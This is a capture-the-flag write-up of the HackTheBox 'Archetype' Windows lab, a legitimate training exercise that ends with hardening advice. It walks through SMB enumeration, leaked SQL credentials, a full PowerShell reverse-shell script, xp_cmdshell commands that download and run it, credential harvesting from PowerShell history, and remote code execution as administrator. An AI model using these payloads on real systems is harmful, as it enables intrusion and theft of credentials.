Archetype
is a 1st box from Starting Point path on HackTheBox.eu. This path is composed of 9 boxes in a way that later boxes use information (like credentials) gathered from the previous ones.
This is a Windows box where you can learn how enumeration can lead to RCE via SQL server queries.
- Basic Information
- Target of Evaluation
- Recon
- SMB (:445)
- MS SQL (:1433)
- Exploitation (user shell)
- Escalating Privileges
- Hardening Ideas
- Additional Readings
# | |
---|---|
Type | Starting Point |
Name | Hack The Box / Archetype |
Pwned | 2021/04/19 |
URLs | https://app.hackthebox.eu/machines/287 |
Author | Asentinn / OkabeRintaro |
https://ctftime.org/team/152207 |
We've got the IP of the machine - I'm setting the session variable: IP=10.10.10.27
Running nmap
scan nmap -sV -sC -p- $IP
Meanwhile, curling the :80
return nothing, which means website is not running, or it is configured on the other port.
$ curl $IP
curl: (7) Failed to connect to 10.10.10.27 port 80: Connection refused
Scan ended:
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-16 18:21 CEST
Nmap scan report for 10.10.10.27
Host is up (0.046s latency).
Not shown: 65523 closed ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2019 Standard 17763 microsoft-ds
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-ntlm-info:
| Target_Name: ARCHETYPE
| NetBIOS_Domain_Name: ARCHETYPE
| NetBIOS_Computer_Name: ARCHETYPE
| DNS_Domain_Name: Archetype
| DNS_Computer_Name: Archetype
|_ Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2021-06-16T08:24:17
|_Not valid after: 2051-06-16T08:24:17
|_ssl-date: 2021-06-16T16:41:43+00:00; +18m23s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 1h42m23s, deviation: 3h07m50s, median: 18m22s
| ms-sql-info:
| 10.10.10.27:1433:
| Version:
| name: Microsoft SQL Server 2017 RTM
| number: 14.00.1000.00
| Product: Microsoft SQL Server 2017
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| smb-os-discovery:
| OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3)
| Computer name: Archetype
| NetBIOS computer name: ARCHETYPE\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2021-06-16T09:41:35-07:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-06-16T16:41:34
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 107.48 seconds
$ smbclient -N -L \\\\$IP
Ok, let's try to get into backups
and download what we find there.
<DTSConfiguration>
<DTSConfigurationHeading>
<DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
</DTSConfigurationHeading>
<Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
<ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue>
</Configuration>
</DTSConfiguration>
Cool, we have the credentials to the database. Because all Starting Point boxes are connected, I'm storing the credentials to the separate file I can refer to later.
echo 'sql_svc|M3g4c0rp123' | tee -a ../.credentials
tee -a
will append to file or create if it doesn't exists
Because we have the credentials to the database, I'm firing up the pymssql
to get some basic information.
#query.py
import pymssql
queries = [
"SELECT @@version",
"SELECT user_name()",
"SELECT system_user",
"SELECT name FROM master..syslogins", #dump logins
]
with pymssql.connect('10.10.10.27', 'ARCHETYPE\\ ', 'M3g4c0rp123', 'master') as conn:
with conn.cursor() as cursor:
for query in queries:
print(f'\n#-- {query}\n')
cursor.execute(query)
print(cursor.fetchall())
Let's see what Server-scoped permission current user have
SELECT permission_name FROM master..fn_my_permissions(null, 'SERVER')
Well, it seems like we have a pretty wide permission set. For example, we can dump login hashes for the logins because of the CONTROL SERVER
.
SELECT name + ':' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins
Let's run the hashcat
in the background:
hashcat -m 1731 -a 0 -O --status --session=archtype 0x0200100bac9600580c3c299ed7ff81d77bcbe50b830ca60306d7a5e5bf34a5c6be0d895247952bfff5708764033a797e8ca4f2004797203d7ee5c794d655c3218a0b13a3ce63 /usr/wl/rockyou.txt
Rule of thumb for HTB boxes is - if you can't crack the password using rockyou wordlist - this is probably not a hash you are looking for.
Now, what I'm interested in (and probably I should check that right away) is if sql_svc
can execute system commands.
SELECT CONVERT(INT, ISNULL(value, value_in_use)) AS config_value FROM sys.configurations WHERE name = 'xp_cmdshell'
The Windows process spawned by xp_cmdshell has the same security rights as the SQL Server service account
Perfect!
At that time, hashcat
finished working:
Session..........: archtype
Status...........: Exhausted
Hash.Name........: MSSQL (2012, 2014)
Hash.Target......: 0x0200100bac9600580c3c299ed7ff81d77bcbe50b830ca6030...a3ce63
Time.Started.....: Wed Jun 16 19:24:08 2021 (9 secs)
Time.Estimated...: Wed Jun 16 19:24:17 2021 (0 secs)
Guess.Base.......: File (/usr/wl/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 1523.5 kH/s (1.50ms) @ Accel:1024 Loops:1 Thr:1 Vec:4
Recovered........: 0/1 (0.00%) Digests
Progress.........: 14344385/14344385 (100.00%)
Rejected.........: 6538/14344385 (0.05%)
Restore.Point....: 14344385/14344385 (100.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: $HEX[213134356173382a] -> $HEX[042a0337c2a156616d6f732103]
Started: Wed Jun 16 19:23:58 2021
Stopped: Wed Jun 16 19:24:18 2021
And as I was expecting from the time of it took - this is not what we had to do.
With that in the hands, we could try to get the reverse shell.
# cmd.ps1
$TCPClient = New-Object Net.Sockets.TCPClient('10.10.XX.XXX', 4445);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString(''http://10.10.XX.XXX/cmd.ps1'') | powershell'
We've got the PS shell.
# | |
---|---|
Linux Bash | find / -name user.txt 2>/dev/null |
Windows PowerShell | gci c:\ -Force -r -fi user.txt 2>NULL |
gci
is an alias forGet-ChildItem
Ok, let's try to blind shot for other *.txt
files
gci c:\ -r -Force -fi *.txt 2>NULL
This is a persistent PowerShell history. Lets cat
it out.
cat C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Sweet, additional credentials to collection.
echo 'administrator|MEGACORP_4dm1n!!' | tee -a ../.credentials
And it looks like a System Account. Let's try to hop into his PS Session.
$username = "administrator";$password = "MEGACORP_4dm1n!!" | ConvertTo-SecureString -AsPlainText -Force;
$cred = New-Object System.Management.Automation.PSCredential -ArgumentList $username,$password;
Invoke-Command -ComputerName ARCHETYPE -Credential $cred -ScriptBlock {echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.XX.XXX/system.ps1') | powershell}
In
system.ps1
I was reusing thecmd.ps1
with different listening port
This is the same flag file, we just are using the -Force
parameter and hidden folder Documets and Settings
with symbolic link is showing.
For sure, first thing to do is to never store credentials in a publicly available places like SMB with anonymous access. If you have to share for some reason for public audience, make sure that no credentials are leaked - maybe pass them via different channel.
This method should be disabled or enabled only for a highly secured administrator account, and not the same account services is running on.
-- To allow advanced options to be changed.
EXECUTE sp_configure 'show advanced options', 1;
GO
-- To update the currently configured value for advanced options.
RECONFIGURE;
GO
-- To disable the feature.
EXECUTE sp_configure 'xp_cmdshell', 0;
GO
-- To update the currently configured value for this feature.
RECONFIGURE;
GO
Source: Disable xp_cmdshell